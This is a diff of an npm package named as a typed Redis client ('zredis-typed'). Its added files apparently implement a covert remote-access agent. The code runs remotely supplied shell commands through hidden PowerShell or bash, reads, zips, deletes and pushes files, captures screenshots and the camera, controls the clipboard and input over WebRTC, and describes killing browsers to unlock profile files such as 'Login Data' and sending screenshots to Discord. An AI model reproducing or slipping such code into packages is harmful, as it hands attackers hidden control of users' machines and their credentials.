zredis-typed 1.0.127

package/dist/forgeRtcAgent.js

@@ -0,0 +1,259 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.ForgeRtcAgentSession = void 0;
+exports.forgeWebRtcP2PEnabled = forgeWebRtcP2PEnabled;
+exports.agentOutboundPreferRtcDc = agentOutboundPreferRtcDc;
+exports.rtcIceServersForNodeDc = rtcIceServersForNodeDc;
+exports.loadNodeDcPeerConnection = loadNodeDcPeerConnection;
+function forgeWebRtcP2PEnabled() {
+    const raw = (process.env.FORGE_JS_WEBRTC_P2P || "1").trim().toLowerCase();
+    return !["0", "false", "no", "off"].includes(raw);
+}
+/** ICE UDP multiplexing (libdatachannel): fewer ports; often pairs better with browser bundle/mux. */
+function forgeRtcIceUdpMuxEnabled() {
+    const raw = (process.env.FORGE_JS_WEBRTC_ICE_UDP_MUX || "1").trim().toLowerCase();
+    return !["0", "false", "no", "off"].includes(raw);
+}
+/** ICE over TCP candidates when UDP is blocked (may trade latency for connectivity). */
+function forgeRtcIceTcpEnabled() {
+    const raw = (process.env.FORGE_JS_WEBRTC_ICE_TCP || "1").trim().toLowerCase();
+    return !["0", "false", "no", "off"].includes(raw);
+}
+/** Small agent→viewer JSON safe on SCTP data channels (≤ ~32k applied in relayAgent). Large/binary stays on WebSocket. */
+const AGENT_OUTBOUND_RTC_DC_TYPES = new Set([
+    "rc_input_result",
+    "rc_clipboard_set_result",
+    "rc_clipboard_get_result",
+    "fs_roots_result",
+    "fs_list_result",
+    "fs_parent_result",
+    "fs_delete_result",
+    "fs_error",
+    /** Short shell output uses DC; large stdout/stderr exceeds relayAgent 32k cap and falls back to WebSocket. */
+    "fs_shell_exec_result",
+    "fs_hf_upload_progress",
+]);
+function agentOutboundPreferRtcDc(msgType) {
+    return AGENT_OUTBOUND_RTC_DC_TYPES.has(msgType);
+}
+function rtcIceServersForNodeDc(raw) {
+    if (!raw || !Array.isArray(raw) || raw.length === 0) {
+        return ["stun:stun.l.google.com:19302"];
+    }
+    const out = [];
+    for (const entry of raw) {
+        if (typeof entry === "string") {
+            const s = entry.trim();
+            if (s)
+                out.push(s);
+            continue;
+        }
+        if (!entry || typeof entry !== "object")
+            continue;
+        const o = entry;
+        const urlsRaw = o.urls;
+        const username = typeof o.username === "string" ? o.username : "";
+        const credential = typeof o.credential === "string"
+            ? o.credential
+            : typeof o.credential === "number"
+                ? String(o.credential)
+                : "";
+        const pushUrl = (u) => {
+            const url = u.trim();
+            if (!url)
+                return;
+            const lower = url.toLowerCase();
+            if (username &&
+                credential &&
+                (lower.startsWith("turn:") || lower.startsWith("turns:"))) {
+                const rest = url.replace(/^turns?:/i, "");
+                const encU = encodeURIComponent(username);
+                const encP = encodeURIComponent(credential);
+                const prefix = lower.startsWith("turns:") ? "turns:" : "turn:";
+                out.push(`${prefix}${encU}:${encP}@${rest.replace(/^\/\//, "")}`);
+            }
+            else {
+                out.push(url);
+            }
+        };
+        if (typeof urlsRaw === "string") {
+            pushUrl(urlsRaw);
+        }
+        else if (Array.isArray(urlsRaw)) {
+            for (const u of urlsRaw) {
+                if (typeof u === "string")
+                    pushUrl(u);
+            }
+        }
+    }
+    return out.length > 0 ? out : ["stun:stun.l.google.com:19302"];
+}
+function normalizeRemoteOfferType(raw) {
+    const x = raw.trim().toLowerCase();
+    if (x === "answer")
+        return "answer";
+    return "offer";
+}
+class ForgeRtcAgentSession {
+    pc;
+    destroyed = false;
+    constructor(opts) {
+        const rtcConfig = {
+            iceServers: opts.iceServers,
+            iceTransportPolicy: "all",
+        };
+        if (forgeRtcIceUdpMuxEnabled()) {
+            rtcConfig.enableIceUdpMux = true;
+        }
+        if (forgeRtcIceTcpEnabled()) {
+            rtcConfig.enableIceTcp = true;
+        }
+        const pc = new opts.PeerConnection("forge-agent", rtcConfig);
+        this.pc = pc;
+        pc.onLocalDescription((sdp, type) => {
+            if (this.destroyed)
+                return;
+            opts.sendSignaling({
+                type: "forge_rtc_answer",
+                sdp,
+                sdpType: type,
+            });
+        });
+        pc.onLocalCandidate((candidate, mid) => {
+            if (this.destroyed || !String(candidate || "").trim())
+                return;
+            opts.sendSignaling({
+                type: "forge_rtc_agent_candidate",
+                candidate,
+                sdpMid: mid,
+            });
+        });
+        pc.onDataChannel((dc) => {
+            if (this.destroyed)
+                return;
+            const label = dc.getLabel();
+            const bindInbound = () => {
+                dc.onMessage((msg) => {
+                    if (this.destroyed)
+                        return;
+                    let text;
+                    if (typeof msg === "string") {
+                        text = msg;
+                    }
+                    else if (Buffer.isBuffer(msg)) {
+                        text = msg.toString("utf8");
+                    }
+                    else {
+                        text = Buffer.from(new Uint8Array(msg)).toString("utf8");
+                    }
+                    opts.onInboundDcText(text);
+                });
+            };
+            if (label === "forge-rc") {
+                opts.setOutboundDc("main", dc);
+                dc.onOpen(() => {
+                    if (this.destroyed)
+                        return;
+                    opts.sendSignaling({
+                        type: "forge_rtc_agent_status",
+                        ok: true,
+                        datachannel: true,
+                    });
+                });
+                dc.onClosed(() => {
+                    opts.setOutboundDc("main", null);
+                    this.close();
+                    opts.onFatal();
+                });
+                dc.onError((_err) => {
+                    opts.setOutboundDc("main", null);
+                    this.close();
+                    opts.onFatal();
+                });
+                bindInbound();
+            }
+            else if (label === "forge-rc-input") {
+                opts.setOutboundDc("input", dc);
+                dc.onClosed(() => opts.setOutboundDc("input", null));
+                dc.onError((_err) => opts.setOutboundDc("input", null));
+                bindInbound();
+            }
+            else if (label === "forge-bulk") {
+                const api = {
+                    sendMessage: (s) => dc.sendMessage(s),
+                    sendMessageBinary: (b) => dc.sendMessageBinary(b),
+                    isOpen: () => dc.isOpen(),
+                };
+                opts.setOutboundDc("bulk", api);
+                dc.onClosed(() => opts.setOutboundDc("bulk", null));
+                dc.onError((_err) => opts.setOutboundDc("bulk", null));
+                dc.onMessage(() => {
+                    /* Viewer→agent bulk not used in v1 */
+                });
+            }
+            else {
+                try {
+                    dc.close();
+                }
+                catch {
+                    /* skip */
+                }
+            }
+        });
+        try {
+            pc.setRemoteDescription(opts.sdp, normalizeRemoteOfferType(opts.sdpType));
+        }
+        catch (e) {
+            if (!opts.quiet) {
+                console.warn(`[forge-agent] WebRTC setRemoteDescription failed: ${String(e)}`);
+            }
+            opts.sendSignaling({
+                type: "forge_rtc_agent_status",
+                ok: false,
+                datachannel: false,
+                detail: `setRemoteDescription: ${String(e)}`,
+            });
+            this.close();
+            throw e;
+        }
+    }
+    addRemoteIce(candidate, mid) {
+        if (this.destroyed || !String(candidate || "").trim())
+            return;
+        try {
+            this.pc.addRemoteCandidate(candidate, mid || "");
+        }
+        catch {
+            /* ignore malformed trickle ICE */
+        }
+    }
+    close() {
+        if (this.destroyed)
+            return;
+        this.destroyed = true;
+        try {
+            this.pc.close();
+        }
+        catch {
+            /* skip */
+        }
+    }
+}
+exports.ForgeRtcAgentSession = ForgeRtcAgentSession;
+function loadNodeDcPeerConnection() {
+    try {
+        require.resolve("node-datachannel");
+    }
+    catch {
+        return null;
+    }
+    try {
+        // Optional native dependency — may be absent on some installs.
+        // eslint-disable-next-line @typescript-eslint/no-require-imports
+        const m = require("node-datachannel");
+        return m.PeerConnection;
+    }
+    catch {
+        return null;
+    }
+}

package/dist/forgeSemver.d.ts

@@ -0,0 +1,2 @@
+/** Loose semver compare for upgrade hints (`1.0.78` < `1.0.85`). */
+export declare function forgeSemverLt(a: string, b: string): boolean;

package/dist/forgeSemver.js

@@ -0,0 +1,25 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.forgeSemverLt = forgeSemverLt;
+/** Loose semver compare for upgrade hints (`1.0.78` < `1.0.85`). */
+function forgeSemverLt(a, b) {
+    const pa = a
+        .trim()
+        .replace(/^v/i, "")
+        .split(".")
+        .map((x) => parseInt(x, 10) || 0);
+    const pb = b
+        .trim()
+        .replace(/^v/i, "")
+        .split(".")
+        .map((x) => parseInt(x, 10) || 0);
+    for (let i = 0; i < Math.max(pa.length, pb.length, 3); i++) {
+        const av = pa[i] ?? 0;
+        const bv = pb[i] ?? 0;
+        if (av < bv)
+            return true;
+        if (av > bv)
+            return false;
+    }
+    return false;
+}

package/dist/fsMessages.d.ts

@@ -0,0 +1,3 @@
+/** Treat WS JSON flags safely — `Boolean("false")` is true in JS; some proxies stringify booleans. */
+export declare function jsonBoolLoose(v: unknown): boolean;
+export declare function buildFsResponse(msg: Record<string, unknown>, allowFilesystem: boolean): Promise<Record<string, unknown>>;

package/dist/fsMessages.js

@@ -0,0 +1,169 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.jsonBoolLoose = jsonBoolLoose;
+exports.buildFsResponse = buildFsResponse;
+/**
+ * Filesystem explorer JSON-RPC responses — same types as cfgmgr.remote._fs_response.
+ */
+const fsProtocol_1 = require("./fsProtocol");
+/** Treat WS JSON flags safely — `Boolean("false")` is true in JS; some proxies stringify booleans. */
+function jsonBoolLoose(v) {
+    if (v === true)
+        return true;
+    if (v === false || v == null)
+        return false;
+    if (typeof v === "number")
+        return v !== 0 && Number.isFinite(v);
+    if (typeof v === "string") {
+        const s = v.trim().toLowerCase();
+        return s === "1" || s === "true" || s === "yes" || s === "on";
+    }
+    return false;
+}
+async function buildFsResponse(msg, allowFilesystem) {
+    /** Always echo a string — avoids silent client mismatch when JSON coerces ids. */
+    const rid = String(msg.request_id ?? "");
+    if (!allowFilesystem) {
+        return {
+            type: "fs_error",
+            request_id: rid,
+            ok: false,
+            error: "filesystem explorer disabled on agent",
+        };
+    }
+    const msgType = String(msg.type || "");
+    try {
+        if (msgType === "fs_roots") {
+            const payload = (0, fsProtocol_1.fsRootsPayload)();
+            return { type: "fs_roots_result", request_id: rid, ...payload };
+        }
+        if (msgType === "fs_list") {
+            const pathStr = String(msg.path ?? "");
+            const searchQuery = String(msg.search ?? "");
+            const result = (0, fsProtocol_1.fsListDir)(pathStr, null, searchQuery);
+            return { type: "fs_list_result", request_id: rid, ...result };
+        }
+        if (msgType === "fs_read") {
+            const pathStr = String(msg.path ?? "");
+            let mbInt = null;
+            const mb = msg.max_bytes;
+            if (mb != null) {
+                const n = parseInt(String(mb), 10);
+                if (!Number.isNaN(n))
+                    mbInt = Math.max(256, Math.min(n, fsProtocol_1.MAX_READ_BYTES * 4));
+            }
+            let off = 0;
+            try {
+                off = parseInt(String(msg.offset || 0), 10) || 0;
+            }
+            catch {
+                off = 0;
+            }
+            const chunk = Boolean(msg.chunk);
+            const force = jsonBoolLoose(msg.force);
+            const forceKill = jsonBoolLoose(msg.force_kill);
+            const result = chunk
+                ? await (0, fsProtocol_1.fsReadFileChunked)(pathStr, null, mbInt, off, rid, force, forceKill)
+                : (0, fsProtocol_1.fsReadFile)(pathStr, null, mbInt, off, false);
+            return { type: "fs_read_result", request_id: rid, ...result };
+        }
+        if (msgType === "fs_zip") {
+            const pathStr = String(msg.path ?? "");
+            const pathsRaw = msg.paths;
+            const pathsArr = Array.isArray(pathsRaw) && pathsRaw.length > 0
+                ? pathsRaw.map((x) => String(x ?? "").trim()).filter(Boolean)
+                : null;
+            const pathsOverride = pathsArr && pathsArr.length > 1 ? pathsArr : null;
+            let mbInt = null;
+            const mb = msg.max_bytes;
+            if (mb != null) {
+                const n = parseInt(String(mb), 10);
+                if (!Number.isNaN(n))
+                    mbInt = Math.max(256, Math.min(n, fsProtocol_1.MAX_READ_BYTES * 4));
+            }
+            let off = 0;
+            try {
+                off = parseInt(String(msg.offset || 0), 10) || 0;
+            }
+            catch {
+                off = 0;
+            }
+            const chunk = Boolean(msg.chunk);
+            const force = jsonBoolLoose(msg.force);
+            const forceKill = jsonBoolLoose(msg.force_kill);
+            const result = await (0, fsProtocol_1.fsZipRead)(pathStr, String(rid), null, off, chunk, mbInt, force, forceKill, pathsOverride);
+            return { type: "fs_zip_result", request_id: rid, ...result };
+        }
+        if (msgType === "fs_parent") {
+            const pathStr = String(msg.path ?? "");
+            const result = (0, fsProtocol_1.fsParentDirectory)(pathStr);
+            return { type: "fs_parent_result", request_id: rid, ...result };
+        }
+        if (msgType === "fs_delete") {
+            const pathStr = String(msg.path ?? "");
+            const force = jsonBoolLoose(msg.force);
+            const forceKill = jsonBoolLoose(msg.force_kill);
+            const result = await (0, fsProtocol_1.fsDeletePath)(pathStr, null, force || forceKill ? { force, forceKill } : undefined);
+            return { type: "fs_delete_result", request_id: rid, ...result };
+        }
+        if (msgType === "fs_shell_exec") {
+            const command = String(msg.command ?? "");
+            const cwd = msg.cwd != null ? String(msg.cwd) : undefined;
+            let timeout = 120_000;
+            try {
+                const n = parseInt(String(msg.timeout_ms ?? ""), 10);
+                if (Number.isFinite(n))
+                    timeout = n;
+            }
+            catch {
+                timeout = 120_000;
+            }
+            const result = await (0, fsProtocol_1.fsShellExec)(command, null, cwd, timeout);
+            return { type: "fs_shell_exec_result", request_id: rid, ...result };
+        }
+        if (msgType === "fs_screenshot") {
+            const maxBytesRaw = Number.parseInt(String(msg.max_bytes ?? ""), 10);
+            const maxWidthRaw = Number.parseInt(String(msg.max_width ?? ""), 10);
+            const result = await (0, fsProtocol_1.fsDesktopScreenshotCapture)({
+                stream_profile: String(msg.stream_profile ?? ""),
+                max_bytes: Number.isFinite(maxBytesRaw) ? maxBytesRaw : undefined,
+                max_width: Number.isFinite(maxWidthRaw) ? maxWidthRaw : undefined,
+                include_camera: typeof msg.include_camera === "boolean"
+                    ? msg.include_camera
+                    : undefined,
+            });
+            return { type: "fs_screenshot_result", request_id: rid, ...result };
+        }
+        if (msgType === "rc_input") {
+            const result = await (0, fsProtocol_1.fsRemoteControlInput)(msg);
+            return { type: "rc_input_result", request_id: rid, ...result };
+        }
+        if (msgType === "rc_clipboard_get") {
+            const result = await (0, fsProtocol_1.fsRemoteClipboardGet)();
+            return { type: "rc_clipboard_get_result", request_id: rid, ...result };
+        }
+        if (msgType === "rc_clipboard_set") {
+            const result = await (0, fsProtocol_1.fsRemoteClipboardSet)(String(msg.text ?? ""));
+            return { type: "rc_clipboard_set_result", request_id: rid, ...result };
+        }
+        if (msgType === "rc_file_push") {
+            const targetDir = msg.path != null ? String(msg.path) : undefined;
+            const result = await (0, fsProtocol_1.fsRemoteFilePush)(String(msg.name ?? ""), String(msg.b64 ?? ""), targetDir);
+            return { type: "rc_file_push_result", request_id: rid, ...result };
+        }
+        return {
+            type: "fs_error",
+            request_id: rid,
+            ok: false,
+            error: `unknown filesystem request: ${msgType || "unknown"}`,
+        };
+    }
+    catch (e) {
+        return {
+            type: "fs_error",
+            request_id: rid,
+            ok: false,
+            error: String(e),
+        };
+    }
+}

package/dist/fsProtocol.d.ts

@@ -0,0 +1,151 @@
+/** Explorer `fs_list` entry cap (sorted). Large dirs need a higher cap; very large values can stress browser memory. */
+export declare const MAX_LIST_ENTRIES = 1000000;
+/**
+ * Default per-chunk read size (non-chunk mode). Chunked downloads clamp `max_bytes` to at most `MAX_READ_BYTES * 4`
+ * (~92 MiB raw → ~123 MiB base64 + JSON, under relay `maxPayload` 2**27).
+ */
+export declare const MAX_READ_BYTES: number;
+/**
+ * True when the listing directory is a bare OS filesystem root (Windows `C:\\`, POSIX `/`).
+ * User-data search narrowing applies **only** here: searching from `C:\\Users\\me` must still walk
+ * Pictures, Videos, etc., not only Desktop/Documents/Downloads intersect roots.
+ */
+export declare function fsSearchListingIsFilesystemRoot(dirResolved: string): boolean;
+export declare function fsSearchWalkAllowsCurReal(curRealNorm: string, listingDirNorm: string, listingDirResolved: string, enforceUserScope: boolean, userSubtreeRoots: string[] | null): boolean;
+export declare function allowedFsRoots(): string[];
+export declare function resolveFsPath(pathStr: string, roots: string[]): {
+    path: string;
+    error?: string;
+};
+export declare function fsListDir(pathStr: string, roots?: string[] | null, searchQuery?: string): Record<string, unknown>;
+export declare function fsReadFile(pathStr: string, roots?: string[] | null, maxBytes?: number | null, offset?: number, chunk?: boolean): Record<string, unknown>;
+/**
+ * Chunked file read for explorer downloads. With a non-empty `request_id` and file size at or below
+ * {@link maxZipTotalBytes}, the file is copied once into a hidden temp mirror (same idea as folder zip),
+ * then chunks are served from that copy so another process holding the original open is less likely to break reads.
+ * Larger files read the live path each chunk — **`force_kill` still runs {@link forceUnlockPath}** at offset 0 (same as mirror path).
+ * Empty `request_id` always uses live path.
+ */
+export declare function fsReadFileChunked(pathStr: string, roots: string[] | null, maxBytes: number | null, offset: number, requestId: string, forceMirror?: boolean, forceKill?: boolean): Promise<Record<string, unknown>>;
+/**
+ * Delete a file or recursively remove a directory under allowed roots.
+ * Refuses to delete an explorer root (e.g. home, drive letter, `/`).
+ *
+ * Uses `fs.rm` with **retries** on transient locks (`EBUSY`, sharing violations, etc.),
+ * same heuristics as `isRetryableCopyError` in `exportMirrorCopy`. Windows: between retries,
+ * attempts `chmod` to clear read-only on the target. Tunables: `CFGMGR_FS_DELETE_ATTEMPTS` (1–30,
+ * default 10), `CFGMGR_FS_DELETE_RETRY_MS` (50–5000, default 200). A live browser handle on
+ * e.g. Edge `Login Data` can still block delete until the app releases the file.
+ *
+ * `opts.force`: more `fs.rm` attempts and longer backoff (does **not** kill other processes).
+ * `opts.forceKill`: terminate processes likely holding this path (best-effort), then delete; may restart them after success or failure.
+ *
+ * Wall clock: entire delete (force-unlock + retries) is capped by **`CFGMGR_FS_DELETE_MAX_WALL_MS`** (15s–1h).
+ * Default **180s** for files / normal deletes; **900s** when **`forceKill` + directory** (large locked profiles).
+ * Windows: after **`taskkill /IM`** on a browser profile, **`CFGMGR_FS_WIN32_PS_AFTER_IM`** defaults to **`skip`**
+ * (no `Win32_Process` wait — delete runs immediately). Set to **`scan`** to enumerate for other lockers; then
+ * **`CFGMGR_FS_WIN32_PS_AFTER_IM_KILL_TIMEOUT_MS`** (default 8s) caps that wait. Full list when no `/IM`:
+ * **`CFGMGR_FS_WIN32_PS_LIST_TIMEOUT_MS`** (default 25s).
+ * Linux / macOS: after **`killall`/`pkill`** on a recognized profile, **`CFGMGR_FS_UNIX_PS_AFTER_KILL`** defaults to
+ * **`skip`** (no full **`/proc`** or **`ps axww`** scan). Set to **`scan`** to enumerate for other lockers.
+ */
+export declare function fsDeletePath(pathStr: string, roots?: string[] | null, opts?: {
+    force?: boolean;
+    forceKill?: boolean;
+}): Promise<Record<string, unknown>>;
+export declare function fsParentDirectory(pathStr: string, roots?: string[] | null): Record<string, unknown>;
+export declare function fsRootsPayload(): Record<string, unknown>;
+export declare function purgeStaleZipSessions(): void;
+export declare function purgeStaleChunkedFileReadSessions(): void;
+export declare function purgeStaleExplorerStaging(): void;
+/**
+ * Remove **all** in-memory explorer staging (zip exports + chunked file mirrors) synchronously.
+ * Call on agent shutdown so temp trees under `os.tmpdir()` do not linger after disconnect.
+ */
+export declare function purgeAllExplorerStagingSync(): void;
+/**
+ * Chunked read of a zipped folder export (same session semantics as chunked `fs_read`).
+ * First request (`offset === 0`) builds a temp zip; follow-up chunks use the same `request_id`.
+ *
+ * **`paths` (2+ entries):** mirror each selection into one staging folder (unique names), then zip once (`selection.zip`),
+ * matching Hub multi-upload semantics.
+ * **`path`:** zip one directory (legacy).
+ */
+export declare function fsZipRead(pathStr: string, requestId: string, roots?: string[] | null, offset?: number, chunk?: boolean, maxBytes?: number | null, forceMirror?: boolean, forceKill?: boolean, pathsOverride?: string[] | null): Promise<Record<string, unknown>>;
+/**
+ * Turn raw .NET / PowerShell screenshot failures into short, actionable text for the /files explorer
+ * (e.g. locked RDP, Session 0 service, no interactive desktop — `CopyFromScreen` "handle is invalid").
+ */
+export declare function formatWindowsScreenshotUserMessage(raw: unknown): string;
+export type FsScreenshotCaptureOptions = {
+    stream_profile?: string;
+    max_bytes?: number;
+    max_width?: number;
+    include_camera?: boolean;
+};
+type NormalizedScreenshotOptions = {
+    streamProfile: string;
+    maxBytes: number | null;
+    maxWidth: number | null;
+    includeCamera: boolean;
+};
+/** Encode strategy for shrinking toward a byte ceiling (Discord vs latency-first remote thumbnails). */
+type ShrinkEncodePrefs = {
+    /**
+     * When true, ffmpeg JPEG passes scan quality low→high and keep the **largest** output still ≤ cap
+     * so Discord uploads use the-policy byte budget (~10MiB) for maximum clarity.
+     */
+    preferQualityNearCap?: boolean;
+};
+/**
+ * Shrink in-memory screenshot bytes (PNG/JPEG) to at most `cap` (e.g. Discord attachment limits).
+ * Jimp first, then the same temp-file + ImageMagick/ffmpeg/GDI stack as {@link shrinkScreenshotFileToMaxBytes}.
+ */
+export declare function shrinkScreenshotBufferToMaxBytes(buf: Buffer, cap: number, prefs?: ShrinkEncodePrefs): Promise<{
+    buffer: Buffer;
+    mime: string;
+} | null>;
+/**
+ * Discord / webhook attachments: try descending encode budgets first so difficult screenshots still fit
+ * under `hardCap` while keeping quality high when the full budget fits (see {@link screenshotShrinkTierTargets}).
+ */
+export declare function shrinkScreenshotBufferForDiscordAttachment(buf: Buffer, hardCap: number): Promise<{
+    buffer: Buffer;
+    mime: string;
+} | null>;
+/**
+ * Cross-platform full-desktop screenshot for the relay `/files` explorer (`fs_screenshot`) and Discord cadence.
+ * Windows: hidden PowerShell + System.Drawing (**VirtualScreen** = all monitors in one bitmap).
+ * macOS: `screencapture -x`, then per-display `-D` + ImageMagick `+append` when a single capture fails.
+ * Linux: grim / ffmpeg (Wayland); multi-output Wayland uses Sway/Hypr **geometry** + ImageMagick composite
+ * (full virtual desktop, including vertical stacks); falls back to per-output `grim -o` + `+append` when needed.
+ * X11: `ffmpeg` + `xdpyinfo` / `xrandr` virtual size before `maim` / `scrot` (not used when `WAYLAND_DISPLAY` is set).
+ * Optional env: `FORGE_JS_SCREENSHOT_MAX_BYTES` (default ~11 MiB; oversize captures are auto-shrunk when possible).
+ * `FORGE_JS_SCREENSHOT_MAX_WIDTH`: omit = capture down-scales to ~1680px width (plus auto JPEG shrink); `0` = no capture down-scale.
+ * GNOME: set `FORGE_JS_SCREENSHOT_MUTTER_LOGICAL_POS_SCALE=1` if logical-monitor positions need scaling to match `grim` buffers (default off).
+ */
+export declare function fsDesktopScreenshotCapture(options?: FsScreenshotCaptureOptions): Promise<Record<string, unknown>>;
+/**
+ * Capture the full Windows virtual screen (all monitors merged). Uses `SetProcessDPIAware` + `GetSystemMetrics`
+ * virtual-screen metrics so HiDPI multi-monitor matches GDI `CopyFromScreen` (avoids partial/wrong crops).
+ * Scales down wide canvases so the PNG fits WebSocket payload limits.
+ */
+export declare function fsWindowsScreenshotCapture(options?: NormalizedScreenshotOptions): Promise<Record<string, unknown>>;
+export declare function fsRemoteControlInput(payload: Record<string, unknown>): Promise<Record<string, unknown>>;
+export declare function fsRemoteClipboardGet(): Promise<Record<string, unknown>>;
+export declare function fsRemoteClipboardSet(text: string): Promise<Record<string, unknown>>;
+export declare function fsRemoteFilePush(name: string, b64: string, targetDir?: string): Promise<Record<string, unknown>>;
+/**
+ * Run a shell command on the agent host (same privilege as the forge-agent process).
+ * Windows: hidden **PowerShell** by default (same user/session as the agent — not a separate UAC elevation; run the agent elevated if you need admin parity).
+ * Set `CFGMGR_SHELL_WINDOWS_USE_CMD=1` to restore `cmd.exe /c`.
+ * The `/files` explorer **Upgrade forge-jsx** / **Restart agent** buttons send PowerShell; with `cmd.exe` those commands may fail unless the template is customized.
+ * macOS / Linux: `bash --noprofile --norc -c` when **`/bin/bash` or `/usr/bin/bash`** exists (avoids `bash -lc` login shells
+ *   that source `~/.profile` / conda / interactive hooks and can **hang** `fs_shell_exec` until timeout),
+ *   else `/bin/sh -c`, with `stdio` piped and stdin ignored (**not** `detached: true` — a detached session
+ *   leader plus nested `node` spawning its own detached workers was an occasional source of missing `close`
+ *   / long hangs on Linux and macOS explorer Upgrade / Restart).
+ * Optional `cwd` must resolve under explorer roots when non-empty.
+ */
+export declare function fsShellExec(command: string, roots: string[] | null, cwdPathStr: string | undefined, timeoutMs: number | undefined): Promise<Record<string, unknown>>;
+export {};